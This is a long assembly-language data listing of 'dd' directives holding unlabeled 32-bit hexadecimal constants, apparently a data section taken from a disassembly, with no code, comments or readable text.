		dd 369E12DDh, 0A4A33920h, 0D3DAF06Ch, 0BA9C7545h, 5275F0BDh
		dd 7723081h, 924DE5CEh,	0CE6364B5h, 7C23B134h, 0C454DEDCh
		dd 62F6783Fh, 0C36600B5h, 59D5A40Ah, 0BA6FF8BEh, 35E98802h
		dd 0B34EE6A4h, 2EDE6204h, 9346E8A3h, 3FD46D0Bh,	0A145E3A1h
		dd 1DBD813Eh, 8F4CCEA1h, 83C85815h, 6F506174h, 0FB0C1D2Eh
		dd 9B2BCB83h, 189D4FC4h, 9B307F88h, 2EB55B1Eh, 8112E995h
		dd 88C2FDEh, 542AB167h,	0BBBE42C1h, 60E78371h, 0E94A55C4h
		dd 6414A35Bh, 0CBF442F8h, 4498A9BAh, 41E292F7h,	84562108h
		dd 0BBC2F2CDh, 11D18AAh, 74444B71h, 0BF430BAh, 37EBB8h
		dd 67AEC45Ch, 1120B17Fh, 60D62B27h, 0B0B97CDCh,	1D15066Dh
		dd 9E242B52h, 74B7F318h, 101912A4h, 478EA0C5h, 0DAB5AAB5h
		dd 483AE1C8h, 0C9085774h, 38F9D478h, 0A39F6408h, 8E2BF97Ah
		dd 4F2810EDh, 0EBAD4D52h, 0E3F40DEEh, 0E27614D2h, 0A728C1ACh
		dd 8DBDB84Ah, 0DEE4EB11h, 29D2582h, 0EA2F6F58h,	1D4367AFh
		dd 36A424F6h, 5EFE3F4Ah, 3B4705BDh, 0BD5B192Ah,	6603B429h
		dd 0BB3CD580h, 0A1D10C5Eh, 4FF83FE5h, 0C2630359h, 3EE6872Ah
		dd 0CEA9FC9Dh, 0EAE82FFCh, 0A329427Fh, 8060A751h, 3BED7EEFh
		dd 2629BAABh, 597F372Bh, 3F4B4972h, 2EE11D2Eh, 0C9FBABAFh
		dd 3FC059C4h, 0A5D55062h, 93FC0329h, 0A7B8C9D4h, 0F5A438EDh
		dd 8524AF6Bh, 7ABCFDCFh, 0ADD3F73Fh, 19E9FE86h,	1E20670Dh
		dd 0E0597A0Fh, 1098DFA3h, 194031FBh, 747F7232h,	0BBC2D864h
		dd 778C811Dh, 88C15566h, 0EF362AA4h, 7D295A87h,	0CF78BF66h
		dd 42E37A0Fh, 4475C838h, 9BACB3BCh, 3E0DFC3Ah, 13242B34h
		dd 0CD05867Fh, 0BF6CADD4h, 47B26A14h, 316CD68h,	343F61F2h
		dd 7B8299C4h, 0C9299EFh, 0AB81A248h, 0E1C007D0h, 0C0F99378h
		dd 276E67FFh, 9344DB4Ah
		dd 141F1303h, 5B627998h, 29BDB8F2h, 19E4EB12h, 0A5CE0447h
		dd 57746D7Eh, 0BE18293Ah, 8E17B429h, 0C3AED385h, 0DA4CA92Ah
		dd 0D33AF9Fh, 0BADC68E6h, 0FC8091A2h, 14426F3h,	8475E21Ah
		dd 0A3AAC1D8h, 3EE5C52Ah, 1B28E59Dh, 0A03FF90Ah, 58E27E04h
		dd 9B249FB6h, 804B2DFAh, 0C70E2470h, 793E53Bh, 3F506347h
		dd 0FB1145A1h, 4C45D9EAh, 737AAE9Dh, 2DEDDE8Bh,	93FC032Ah
		dd 6A73ED7h, 3F560219h,	2E304128h, 0DBEE0D92h, 7843ACAh
		dd 7647587h, 0F21325Ah,	0CD71ACFEh, 898DF86h, 4355F53Ah
		dd 0B38B7132h, 5A9EDDC8h, 8DB4BB1Fh, 0EC04DA66h, 77D81E37h
		dd 4ABCCDD1h, 7DA33F0Fh, 0A6D67056h, 0F5FE685Fh, 8461BDCEh
		dd 55C3FE07h, 3274355Ch, 0E50CFF77h, 9ADC32BEh,	4759F2FEh
		dd 0F54B036h, 0CF3FE16Dh, 7933222Dh, 0BC0E5940h, 0F3FA1359h
		dd 19C03BE3h, 0A7EB79Fh, 3D6463CFh, 29C8816h, 0A09045D1h
		dd 0E8FF7D8Eh, 2D361CBFh, 85F49F06h, 9935B0F5h,	0D05C638Ah
		dd 0C79D387Ah, 50D4E5F7h, 959E1EFFh, 0E344CE6Eh, 56F793EDh
		dd 0B3C4693Eh, 559BEFA2h, 5F2041D7h, 2769E29h, 31C5ECh
		dd 5FA69F0Dh, 0FF443EDFh, 64D77814h, 69B26D3Bh,	0B760DB82h
		dd 0B1C2D32h, 3CC7BCACh, 838AA1ACh, 3374A5EFh, 0DA3CB2ABh
		dd 0C618D9C0h, 37FF9F3Ch, 0F816546h, 0ECB60F16h, 99BA93CCh
		dd 276F88D0h, 0B04936h,	0E30CBE0Dh, 0BBECC47Bh,	356B476h
		dd 2BF4EEBFh, 0C7F4ED14h, 0AC98A9BAh, 237C5B94h, 1F2E4110h
		dd 0A0B1C2F8h, 9CF0D188h, 0C62935AEh, 38BF5B1Ch, 0E2BCAD9Ch
		dd 82BE1EA9h, 67B5456Ch, 0DFF0016Eh, 0D27CBDA8h, 4DFDF83Dh
		dd 9E242B52h, 0E5F5797Fh, 2E9CD7BEh, 54115465h,	3194D67h
		dd 0E4F6E1F2h, 0B28CA792h, 528EEE79h, 3787153Ch, 0BA1B21DEh
		dd 6B7C9476h, 98E5D65Ah, 9AF4FB04h, 9545C005h, 0E06C739Ah
		dd 0A47C378Ah, 0A9D0C99Bh, 174534C2h, 4B5C6373h, 256BB6B7h
		dd 11AFE50Ch, 0B561A1CCh, 2DE11C21h, 7A084FF6h,	0A2F2D5AEh
		dd 0FCEE1C13h, 128A1F3h, 39F5B91Ah, 43C47A74h, 3EDAB22Ah
		dd 12DE5E9Dh, 0AE65022Dh, 1E3EE0C7h, 0DC9E9C41h, 0E10881CBh
		dd 4E7C5CFAh, 36FDD08Dh, 5B56F601h, 588C1D44h, 0B7FEEE89h
		dd 1B5E49A7h, 2F40C632h, 0C672A26Dh, 4438C9B0h,	636A83C9h
		dd 0E641B552h, 0B1FA2493h, 97A8B9CAh, 6E9BB86h,	0F206710h
		dd 6A0AF557h, 5F1DF0C9h, 43545B6Bh, 3C902132h, 0C8CCE130h
		dd 65A868A4h, 136204C5h, 5B207741h, 8C61F3B7h, 3B98587Ah
		dd 359F2AFh, 42107026h,	0BD51E9B3h, 3CDC5A1Ch, 0F31E4267h
		dd 0EF0011E2h, 0A04F8D7Dh, 19BD5617h, 9535CC56h, 0E0AE4616h
		dd 0A05EA7ABh, 0BA63E06h, 8637BA82h, 17E04AFEh,	842CBD7Fh
		dd 0B962A3Ah, 731CAA36h, 0A424F7h, 3B48B16Ch, 5892DDDh
		dd 7A029E6Ah, 9CBDD18Ch, 5FFDC478h, 0F57111DDh,	6FF5C55Dh
		dd 0E074C1CEh, 69ED3D37h, 0E06639CEh, 9FF87D4Dh, 0C15FF782h
		dd 54EE737Eh, 0BA5CF7BFh, 3A948EF6h, 7964EAB3h,	4303474Bh
		dd 0F74DEBAFh, 73C96727h, 7B55E08Bh, 34CE535Eh,	9A3CD79Fh
		dd 32D785C5h, 5F71C68Fh, 24EC51E7h, 0A03CF97Dh,	53653A03h
		dd 8267C59Bh, 0FF9D393Eh, 9BCBEA7Fh, 7C8E953Ch,	1349A170h
		dd 48B30DB4h, 1BAC9B33h, 6D09654Dh, 0F8D35893h,	6B445C0Bh
		dd 40EF2B85h, 0EB655F11h, 92E2F7CDh, 0BBCCB576h, 778899AAh
		dd 33445566h, 0EF001122h, 0ABBCCDDEh, 6778899Ah, 23344556h
		dd 0DFF00112h, 9BACBDCEh, 5768798Ah, 13243546h,	0CFE0F102h
		dd 8B9CADBEh, 4758697Ah, 3142536h, 0BFD0E1F2h, 7B8C9DAEh
		dd 3748596Ah, 0F3041526h, 0AFC0D1E2h, 85F08D9Eh, 0AA984E55h
		dd 0B9E345BBh, 4433C1D2h, 5B627CD2h, 0DADF484Ah, 0CB3782FAh
		dd 955B68C1h, 8FD73D81h, 0C9334D1Eh, 9EDD97F2h,	7383A9F4h
		dd 26609FE9h, 6C8125ECh, 0B3BAD4A6h, 8EC4161Bh,	30574D74h
		dd 49104B9Dh, 0A776667Fh, 8FF50992h, 0C32C3372h, 0D7E8F9AEh
		dd 93A4951Eh, 0ACE5FE82h, 441C2361h, 0D34C01C3h, 0A598E539h
		dd 0DFD56009h, 0BE0C133Dh, 44CB3201h, 737A79D6h, 7FAF6105h
		dd 6EFC9C6Ah, 0FD9ACDF2h, 46A1220Fh, 39B34128h,	0C6F1310Eh
		dd 871ABC9Ch, 0B104303h, 29A38F6Dh, 6AE021FEh, 0E69B148Ch
		dd 0FAEC75C8h, 2A7F20C1h, 7F49C82Ch, 2F88CF79h,	76382069h
		dd 0EA496A1h, 3003CDF4h, 67AEC8FAh, 23344556h, 0DFF03DAAh
		dd 0FB3148CEh, 0BF68AF59h, 32D36BD6h, 0CFE0099Ah, 0EB0930BEh
		dd 47589F49h, 808D2D8Bh, 0BF06047Bh, 8BB3909h, 377E98CAh
		dd 5789A4E9h, 38C007B1h, 416BED13h, 273BB15Ah, 2CE70516h
		dd 1F434C95h, 8D6C7D8Eh, 7616A662h, 1779F8D5h, 92A0E791h
		dd 5706F0B4h, 0E9C383Ah, 46D4E5F7h, 8E90B1BCh, 3B4C1AF2h
		dd 34AA42Ah, 0D17CFD16h, 0F4839031h, 2B324CA2h,	71484F1Dh
		dd 0A35D45CEh, 38F09AA6h, 5B2F716Ch, 9F636A25h,	0D24536C7h
		dd 0D0AF5031h, 57D87187h, 80B4DEFAh, 9C17EDD1h,	0D6CF70FCh
		dd 210C1D2Eh, 0CAB6D16Bh, 0DE09A4B8h, 65405162h, 0FC07A1h
		dd 97F254DFh, 6DEF8771h, 7013255h, 7A1BBBE0h, 0B66C6ECDh
		dd 0D8C1759Ch, 1E8BA902h, 0CBDC7182h, 0CB4D28BAh, 0F3545B85h
		dd 0DE7E76CAh, 7F51E03Dh, 688CF79h, 93399EBh, 13041422h
		dd 0ADFC5091h, 0FD77E46Dh, 0A346684Eh, 0A0C321CBh, 84B0A1F2h
		dd 63819D76h, 3E64106Ah, 0DE4B729Bh, 9FE928F5h,	0EF43EA48h
		dd 97DFD37Bh, 0F83B62C8h, 8FBBFEB9h, 6D33DA48h,	87608A48h
		dd 222B52C8h, 7FAFE5F7h, 423CA48h, 77A7DDEFh, 0E51B42C8h
		dd 6F8D629Dh, 2713BA48h, 6785DA15h, 3335B0C8h, 865C638Dh
		dd 66071A53h, 557C3C5h,	5DEF8AA6h, 3D8F1CBDh, 5F501DC4h
		dd 0D2730A16h, 959A261Ah, 83E24D74h, 49FA21EBh,	0A5B7E996h
		dd 0C90BE734h, 0F0449554h, 5AD7781Fh, 0C42BBD88h, 3728769Ch
		dd 0AA4BE256h, 9ADB637Ah, 85E415B1h, 55768BF7h,	0E227872Eh
		dd 6110C184h, 887CF26h,	1751014Ah, 8A2BC216h, 0A7B8CA22h
		dd 0F7460996h, 0FD90124Fh, 8622A848h, 97A871CFh, 75BFF586h
		dd 849DF491h, 0CBD2E56Ah, 0C18F0095h, 0D2D99C39h, 0FF1057FAh
		dd 0CAC4DDEEh, 0D749D91Fh, 0C0C98B61h, 0F00047EAh, 0B862D3B3h
		dd 5A53AE13h, 0FBB1CA2Ch, 34F201E8h, 6CA9E3D4h,	3D6CE46Fh
		dd 0B9093643h, 0AE8CD95Dh, 0CE176C0Dh, 0DFEDF24Eh, 6E141B45h
		dd 4E55D8B5h, 7B8C93B6h, 4640596Ah, 4F08559Bh, 8E4CB93Ch
		dd 0E0F54CEDh, 276E88A6h, 0BB718AECh, 0F4B1C1A8h, 65D8C92h
		dd 0C2E8644Ch, 62692CC9h, 8FA0E78Ah, 5F546D7Eh,	909DB321h
		dd 4D4DBFEh, 8C76AC52h,	0A6F2A2E9h, 81A2917Ah, 89AC5E6Bh
		dd 6AE052A2h, 0B4E07463h, 272BB420h, 954F303Ch,	64EFE5DAh
		dd 0A0A6A84Eh, 0D71E3183h, 0B3658DCAh, 0DFA31C6Ah, 31FCD88Ah
		dd 0ADD85442h, 2D9DD051h, 38A8B976h, 883BDC82h,	17892BEEh
		dd 0FC893B9Eh, 1ADBB722h, 558C7D21h, 0F00CB74h,	8223B996h
		dd 312413D6h, 83B405E8h, 0F6972CDEh, 9696BF54h,	0D98EF656h
		dd 950AB6D2h, 0D186044Eh, 8D0271CAh, 0C97E2D46h, 543CE9C2h
		dd 0D438E6C5h, 48B49E41h, 0C7B0D6BDh, 38FF8E39h, 7DA025E7h
		dd 0B2B97C56h, 0DFF037DAh, 0AF2CBDCEh, 1C8298Dh, 0EBA3BA1Dh
		dd 0CFE0F1D8h, 9250B5BEh, 0B3D33EC2h, 1A539036h, 0D5F87077h
		dd 7B8CA0AEh, 6ECC686Bh, 43041526h, 385B7B7Ah, 416BF52Bh
		dd 0D110F95Ah, 4F618EB1h
		dd 76B0F7A1h, 31540C13h, 17283C4Ah, 0EAF9A906h,	0A5C84047h
		dd 4B5C6D7Eh, 6F1D1D3Bh, 0E28323B7h, 2A2A8A02h,	1AA4E2E9h
		dd 46831900h, 103D1D01h, 6FB6D0F2h, 836895D7h, 0FDE7EDC1h
		dd 4974B871h, 0EEF578EDh, 1E2C3356h, 0ABE8F90Ah, 2029EBC4h
		dd 0CF60A74Ah, 4D343212h, 5FC76808h, 690D491Dh,	0A59094CDh
		dd 8A91D4C9h, 0BAC80FB2h, 78495A6h, 0BCC54797h,	6BFC0326h
		dd 0A590CE6Fh, 8B23C464h, 0FE9F3EB6h, 3104DD9Eh, 0FA9738D5h
		dd 72CC1B8Fh, 80BB9737h, 5A717899h, 0DE98DF82h,	46169C28h
		dd 54102132h, 587A85E2h, 763818B9h, 52EFE53Eh, 0CEA877B1h
		dd 1C17F3D3h, 0F23714F5h, 0F923B5DBh, 68282C12h, 20E37986h
		dd 579EB109h, 13243549h, 54571F16h, 8B92A53Dh, 4D58697Ah
		dd 88CB078Ah, 0BF061971h, 7C8C9DAEh, 89205EFFh,	0AB354F3h
		dd 0C5E86067h, 6B7C8D9Eh, 8F3D3D5Eh, 2A34313h, 0B72F4669h
		dd 5B707DA4h, 0E9C394Ah, 0F2929CDEh, 4FB96951h,	0A3B735CCh
		dd 0B8C6932h, 0DB095D91h, 562B084Dh, 1134ECF3h,	0F708212Ah
		dd 33038AE6h, 85A81EEFh, 71F04D5Eh, 46E64432h, 9B8D3DA5h
		dd 46A4A6Bh, 1B2235C7h,	0E1EB5D4Ah, 698C3E6Bh, 0E0101C82h
		dd 98A1B7D8h, 71D81FC2h, 88E6546h, 3F8699EBh, 9D7443C8h
		dd 464D50F7h, 63848BAEh, 83405162h, 55B57D25h, 32D8180h
		dd 8BE4F0FCh, 0CA7074ACh, 0BA807A87h, 1C9FB9A0h, 535A6D05h
		dd 0F203122h, 34CF6D3h,	9F1F2EB4h, 0E9AE658Ch, 0D650A27Ah
		dd 91B46C73h, 778859AAh, 0B3470966h, 94FA39E6h,	0ABB2C565h
		dd 4F13440h, 232A44BEh,	6E75F86Dh, 9BACB3D6h, 2CA8798Ah
		dd 1574A53Fh, 0E5087887h, 10D317BEh, 478EA1F9h,	31425B6h
		dd 5780EC07h, 530422A8h, 0A2E25940h, 0C46CBB33h, 3E45C8CAh
		dd 6B7C83A6h, 0FB38495Bh, 0EDCD7518h, 0B5D84937h, 5E903D8Eh
		dd 2FA0DE44h, 3E0AF51Ch, 5F2169E8h, 23DBF2D5h, 9182910h
		dd 0C509E5F6h, 248A6906h, 3B4255E6h, 9481C4D0h,	0B3BAD47Ah
		dd 6F982DEAh, 0B073B85Eh, 0E72E4199h, 0A3B4C5CEh, 70C8F2A6h
		dd 0B25BFC9Bh, 0ED10888Fh, 93A8B5C6h, 0DF5BE682h, 94A137C6h
		dd 71D81FC2h, 84B7291h,	3F8699F1h, 0FB0C252Eh, 4F2EEA7Fh
		dd 0D87EB529h, 2F7689DBh, 0ABEF7804h, 8DCD3434h, 6D7C6E1Eh
		dd 3558CAB7h, 0DE10BD0Eh, 0AF215EC4h, 0BE8A759Ch, 279FB6D9h
		dd 0BBDCED14h, 1FFEA9BAh, 4688A5F7h, 908E5B2h, 91B46693h
		dd 86237FAAh, 0BC1DAFCh, 0D79B11F8h, 4AEB891Eh,	7FF70EB1h
		dd 2334456Ch, 0E8E44112h, 20AE0D5Eh, 579EB111h,	0A2A96CE0h
		dd 0CFE027CAh, 0DB9CADDEh, 4B5A5E00h, 2153B23Ah, 0D757866Ch
		dd 8059DC4h, 377E98D6h,	0F84808Ch, 3FC746E7h, 0A3B0D9Eh
		dd 10F31Ah, 0FAA344E2h,	0B5D85057h, 5B2C7D8Eh, 0FDD01F4Ah
		dd 27E6AA17h, 1F3B179Bh, 0D4E17766h, 47185F02h,	0EB2EE8D6h
		dd 5EFF9DE6h, 0C083E5FEh, 0F73E51A9h, 0B3C455E6h, 0F53093B7h
		dd 3C3B2D8h, 925E09F0h,	38B90156h, 0DF703199h, 85ECFC0Dh
		dd 36D42422h, 2229EC95h, 4F60A74Ah, 201C2E3Eh, 0D11899F5h
		dd 597C2C3Bh, 4EAB0B72h, 0BB8F9514h, 0CF4F7EE4h, 0DEAA95BCh
		dd 6DA52B2h, 0C1E49CA3h, 0A9B8C9DAh, 7A533A96h,	3558D0D7h
		dd 0DFECFD0Eh, 27B2AECAh, 0DCE97F46h, 9920670Ah, 0A1C47BA3h
		dd 7778EABAh, 0C47ADDDCh, 0EA10D18Dh, 0C58C4DE6h, 8DB0222Fh
		dd 0B8FBBF66h, 0EF3649A1h, 0ABB4CDDEh, 0FFDE992Fh, 882E6DD9h
		dd 0DF26398Ah, 9C1C28B4h, 1F1881A5h, 0EB9CBA40h, 0A67AF1D8h
		dd 61843C43h, 3758697Ah, 98499636h, 427847D7h, 3F1A7F6h
		dd 1D488F32h, 5DC408C1h, 0CE4C8EBBh, 0F0B38DB4h, 276E81D9h
		dd 0E3D40516h, 0F661E0E7h, 0B31298E9h, 0BC225143h, 0D3DAED7Eh
		dd 99A39582h, 2144F523h, 30B30F3Ah, 99C38183h, 9D12BB2h
		dd 113BF913h, 87A3FF2Ah, 3A49D70Eh, 1980C76Ah, 3BBD2B5h
		dd 0E7FB09F0h, 85E8C6D6h, 77EF0629h, 1B2C3D64h,	0CD5DFD0Ah
		dd 6B233A9Dh, 4F607158h, 10D1303Eh, 26C26D12h, 9DEFCD85h
		dd 0C4C76001h, 0FB0215ADh, 0BFC8D9EAh, 0BCF498FAh, 0BEC548BCh
		dd 0EBFC0326h, 7B38C9DAh, 4D7BF5B6h, 3558C8D7h,	0D50CBE0Eh
		dd 0BBA042C7h, 0DAC97786h, 0CF20670Ah, 8F5CF062h, 684854BEh
		dd 62BC0B10h, 86B52BD2h, 0E1CCD3F6h, 60D1005h, 13444B6Eh
		dd 43001122h, 3A418491h, 6778BF62h, 0B7144556h,	0E237F80Fh
		dd 0AFACBDCEh, 1F8298Fh, 5A9F6821h, 0EE747E7Dh,	4C77ADD4h
		dd 0D7442AF3h, 8A992F5Eh, 69D017BAh, 530B2205h,	37485940h
		dd 0FF381566h, 72908908h, 43031298h, 31134930h,	3A37D7Ch
		dd 0B73766CCh, 0C6127DA4h, 2FA7BE61h, 0D3E7F51Ch, 0E294B2C2h
		dd 23DBF2D5h, 7182910h,	0D008C5F6h, 7F936849h, 40005D6Eh
		dd 62A2A97Ah, 3E8360B9h, 85AF3D27h, 0B474385Eh,	302B85D2h
		dd 7B334AADh, 5F708168h, 29E13DCEh, 0EF6F7E87h,	9B1EB5DCh
		dd 52C9F1C2h, 0F99E511h, 0B7FCAD37h, 8B34E6B6h,	22EBECC2h
		dd 0CC744334h, 9D63BF2Ah, 1B04242Eh, 2F4051AAh,	56A2AE20h
		dd 0F03D7482h, 0BB9A8BEBh, 0CA160123h, 6846C09Eh, 0ADD0554Fh
		dd 0E2E9AC86h, 0F20670Ah, 0E0ECEDFEh, 0DFB380C0h, 0CE5D909Eh
		dd 0D72B4965h, 4847AD09h, 77BED8FEh, 12D8EA67h,	80111F8h
		dd 0AFA01159h, 57D14613h, 80AF456Ch, 0DF26407Ah, 7A4042E9h
		dd 0DC5F7960h, 131A2DC5h, 0CFE0F142h, 43D3AF92h, 475CABD5h
		dd 6097FC6Ch, 0BF0620AEh, 3410ACAEh, 9F48596Bh,	0F3041523h
		dd 0FD92161Dh, 3D6FD963h, 0F3740D38h, 81894416h, 28B0F79Dh
		dd 315B1D13h, 0CFA30C4Ah, 0F2ACF812h, 0D21BD9D5h, 0E07C1592h
		dd 7C93A849h, 0C3CAE4B6h, 8B52A4DDh, 1A70E2E7h,	0B90B1900h
		dd 0DB495EDEh, 0FA80C771h, 7E6B3531h, 0E7F8099Ah, 0C2693EAEh
		dd 1F1D0C21h, 512C335Dh, 36DDA622h, 0D3394095h,	0DA60A751h
		dd 551F35F8h, 4A9614F6h, 0B93AA8Fh, 3F506292h, 0FCD6A12Dh
		dd 4CCBD9EAh, 737A946Ah, 4EC40665h, 0C7580D34h,	493DD8F2h
		dd 0F0748596h, 0A44B4598h, 0DBE2FC92h, 0FFF8BFCDh, 7213AAE0h
		dd 2E60EEC5h, 0E0DCED14h, 93DFE4B5h, 445FE875h,	0B6B2132h
		dd 9A0C72F7h, 0FC879980h, 33445663h, 0E849625h,	2C62CDF4h
		dd 769D0862h, 233481DBh, 0E1B08C12h, 0CBA000E9h, 0B65DA6A2h
		dd 53912E15h, 0DEE027D1h, 8B9C5143h, 8BDD6C7Ah,	6141B45h
		dd 0D5FF6577h, 668C28AEh, 0B9476531h, 0F30415E3h, 0BEB818ADh
		dd 6B7C5121h, 29F8CC5Ah, 0E608CC19h, 0B5DF4557h, 0FA3CCF8Eh
		dd 2D57999Fh, 0B1793406h, 0C9A0E78Dh, 0D05B2D03h, 7182991h
		dd 0C3D481CFh, 8EFFDDB2h, 3B4CF1F3h, 0EC36992Ah, 0B33F5AE5h
		dd 0B5FB91A2h, 0FFFF385Fh, 3BA471CAh, 9D04A5h, 5FA6C052h
		dd 0A02F7423h, 0D71E384Eh, 72283AC9h, 0D4D97158h, 0B122C9Ah
		dd 4C03E975h, 838AA49Ah, 0C47B6984h, 0FB021C86h, 0B7F5C27Ch
		dd 5B495A6h, 2F4F3939h,	39790D1Eh, 0D27954E6h, 53B68898h
		dd 3E8CC61Dh, 0E7A1FD24h, 0F6B8FD4Dh, 37A80497h, 0A7B922Eh
		dd 2F617C41h, 6798DF89h, 22D8DAF1h, 39682108h, 0DCFB9C43h
		dd 77889903h, 1E420AE6h, 0F8F21D69h, 0BAB414E9h, 0C667C51Ch
		dd 0A8330E25h, 0BE5FFF64h, 1C90B949h, 578008F1h, 32D37446h
		dd 50A2DC11h, 8B3C9178h, 5A96C97Ah, 0E710B0F6h,	0DE0C6679h
		dd 59DC4h, 377E98A2h, 0DB978EA3h, 34C3D1E2h, 6B728C22h
		dd 0F5DDEE00h, 0A5F74B31h
		dd 0AB72ECC6h, 397C3D4h, 177CBA91h, 0D3E9F506h,	0D519B1C2h
		dd 0E2ACCCAh, 91ADA8F1h, 4D4DB01h, 48FC04Ah, 3B4C5E58h
		dd 1F62EDDAh, 28731440h, 6FB6CC3Ch, 3A0B0DE3h, 0E7F90E92h
		dd 0C8FEEDD6h, 50C88021h, 4E2C3D4Eh, 0C02EEDAFh, 38F75A22h
		dd 0B852E6A5h, 0BDD6612h, 0E6209E09h, 0F843A5CCh, 3F869C40h
		dd 0DAACA2A7h, 0B0A0D9C0h, 268495A6h, 9A21A587h, 19B35C03h
		dd 8F2BBB7Fh, 0F5C435EFh, 8B09B76Bh, 0DB9124F3h, 0C32181h
		dd 46FCB455h, 42203142h, 0DE813FE3h, 6C0A984Eh,	0D96D17A6h
		dd 66F58D4Bh, 63A3DDD3h, 0D67702A7h, 3344673Eh,	31E56422h
		dd 0C057F0BFh, 50EA592Ah, 0C850EEACh, 16F06639h, 3AC46D26h
		dd 5770E199h, 0B8773546h, 3DC15945h, 0BA5AD2A5h, 20BE520Eh
		dd 992DD766h, 26B54D0Bh, 23639D93h, 9637C1A7h, 7881E956h
		dd 0AFF60B4Eh, 954CB178h, 9C27205Bh, 0E3EA00ECh, 7ED4FD4Bh
		dd 31576F03h, 0A4E8634Ah, 0A9D2C993h, 0BF7001C2h, 25E8E2CDh
		dd 8702910h, 77D4E9F6h,	5E67A2CCh, 113B7DE3h, 0FB62ED2Ah
		dd 5359141Dh, 0F280C771h, 806B61A2h, 0E72E48C2h, 7ED25AA5h
		dd 223F8168h, 0F900B2CBh, 363EF9E0h, 698F673Bh,	2EC8F482h
		dd 0B87B13Dh, 4C51E9FAh, 838AA41Ah, 1E26618Ch, 0D1F78BA3h
		dd 0C6885EEAh, 7384F92Ah, 5F807C62h, 1BFF37CEh,	0A710CA74h
		dd 19348596h, 3AEED6E1h, 736FFD24h, 0FF2CC8D9h,	0DC64758Bh
		dd 254F99C7h, 0F7597AFEh, 1498DF89h, 194319EBh,	69E27232h
		dd 30FB2DEEh, 77BED434h, 42F38DE9h, 0EF05C7A6h,	4ABCF7DEh
		dd 7DA771EFh, 0B9C98456h, 62F037DDh, 1FAB7C16h,	57687EF9h
		dd 0F250BABFh, 9813F1D8h, 0BB6D70C1h, 0F85C532Bh, 0E22C9A05h
		dd 343FE1C8h, 7B829860h, 0BB4799EFh, 0F3041A71h, 34399AB5h
		dd 6B728C1Eh, 0F891A0Bh, 0E3F30505h, 1945C002h,	0E06C7399h
		dd 2BAC488Ah, 5CE4F50Bh, 0A5CF3547h, 0DEC4307Eh, 921829D9h
		dd 488BDD31h, 7FC6D931h, 2B4C5D6Eh, 7C0B1FBFh, 0B3BAE53Fh
		dd 30836375h, 0CC73FEB5h, 6888E93h, 1E1CC5ECh, 0EA70816Ah
		dd 0A02F3909h, 0D71E09A3h, 0D4A707D9h, 30D76219h, 0EA94B2B7h
		dd 0D69BE9D0h, 9C9A704Dh, 72CD9615h, 3E832C16h,	8098DCDEh
		dd 765CD601h, 6E6AD212h, 849A36F5h, 813BE66Eh, 83A68692h
		dd 0AA5C8CCDh, 1DEF11D0h, 5FEC46BAh, 362DAC55h,	6BA56C03h
		dd 8EDCE30Dh, 77BC7D35h, 0C5D3A589h, 0FF10217Ah, 660B6831h
		dd 2B3526A5h, 4F444B74h, 0B833F09Dh, 0BD5DC97Ah, 3EE2C5A0h
		dd 8D143158h, 0CBE45DDEh, 5860ABDAh, 0BFDD7956h, 149F7E29h
		dd 14A836CFh, 6897E1BEh, 47AA2C2Dh, 2207AA35h, 0C24BE081h
		dd 0C945F4BBh, 5DCC682Dh, 0D0B354F5h, 0FD951419h, 0A87119Dh
		dd 0DE65C869h, 0F2E6F859h, 7E1FD156h, 8E3C7ADDh, 9B2708FEh
		dd 0F293340Bh, 0BCF88C95h, 608B2CCCh, 6302912Ah, 0A46C24C5h
		dd 8EFFA040h, 0DA7A09F2h, 5FDA4C39h, 0B3C4D5DCh, 4EEFF43Ah
		dd 2B3CF5ADh, 6845091Ah, 79A7C2B3h, 62BB6A92h, 0BAD03D4Eh
		dd 5B9D84DCh, 37A4ABD5h, 0D04693FBh, 1AE67A4Ch,	0C7DB2D7Fh
		dd 5FE230B6h, 0C0363F75h, 0AD16D39h, 0B7CB8D6Fh, 69C7CCA6h
		dd 2F407162h, 0EE63921Dh, 6AAEC9DAh, 0E77387C2h, 1F3044BFh
		dd 0B8E44089h, 3748592Ah, 56E3F985h, 2F4D3142h,	0DABCCD1Eh
		dd 879B2D3Eh, 61BD8D76h, 810F20C1h, 0BBCCE0B7h,	96403E2Dh
		dd 0BE44557Ch, 397B1964h, 0BEFDB8CEh, 0D238BC9Eh, 0ACEC485Bh
		dd 6469114Ch, 9BA2BC4Ah, 0EF64438Dh, 13253546h,	0B67AD933h
		dd 8C6C0Dh, 478EA1F7h, 580405C7h, 0BF061970h, 44BA7D88h
		dd 9F5C5112h, 12B33C96h, 23BFA367h, 3C9E60E0h, 3D60D8CFh
		dd 0FA993016h, 0B5D85057h, 5B6C7D8Eh, 6E4A2D4Bh, 0A9CC848Bh
		dd 8FA0B4C2h, 0CC58A27Eh, 1D40B89Fh, 0E28324F6h, 8A8C3Dh
		dd 1134ECEBh, 0F708192Ah, 0B3CA7DDEh, 0D74991A2h, 2B3C4D64h
		dd 4E3A71C2h, 282E04A5h, 5FA6B919h, 0A206C1D4h,	5FE82FD2h
		dd 698C3C4Bh, 26C05382h, 0E104BCC3h, 0C7D8F1FAh, 38D5AB6h
		dd 5578EABFh, 0C0C01E2Eh, 0CF475E01h, 738495BCh, 2A345962h
		dd 0C3838A9Eh, 7BBDC9B0h, 0EBE10526h, 2430771Ah, 386C64E2h
		dd 97DEF143h, 6AF2298Bh, 2548C0C7h, 0CBDCEDFEh,	7919D3Ah
		dd 193CEC03h, 88072332h, 9A084271h, 0DF889980h,	52F3886Dh
		dd 0CE6D72BAh, 0AD6C752Dh, 0E4F3899Ah, 232A44CEh, 0FE6C9E15h
		dd 0B4C4BDE4h, 6657F896h, 132605CAh, 53957C02h,	169CA3CDh
		dd 855BA528h, 22C1DF0Eh, 0D952F081h, 0FC8C9DB0h, 37A87D24h
		dd 117F3526h, 9C32714h,	5B269092h, 3FB7CE71h, 0E3F4052Ch
		dd 93A5D1D2h, 3ABCFA07h, 0ACA53920h, 0D3DAED72h, 7F793E3Dh
		dd 0AF8F6D94h, 113FE2F1h, 1851E5F6h, 7FC6B1B2h,	3BBDC2C1h
		dd 9BFB1B4Dh, 8B435ABDh, 6F809178h, 0AF3B5D5Eh,	0E7F80978h
		dd 0CB8C78A5h, 3EDF6FE8h, 0FA6CD2C9h, 96DF9E0h,	932C39C5h
		dd 0E4DB7182h, 0B122CC2h, 48E8B375h, 83B489F0h,	896B4172h
		dd 0CE0E5026h, 0AB3ADC23h, 639D22B1h, 0BCBB5138h, 0EBF21DF7h
		dd 0C3339F6Ch, 0CD908BAh, 1F307742h, 0DB856491h, 22A8B9CAh
		dd 1D657DD0h, 9697343Ah, 43617855h, 0DE98DF89h,	193CF4FBh
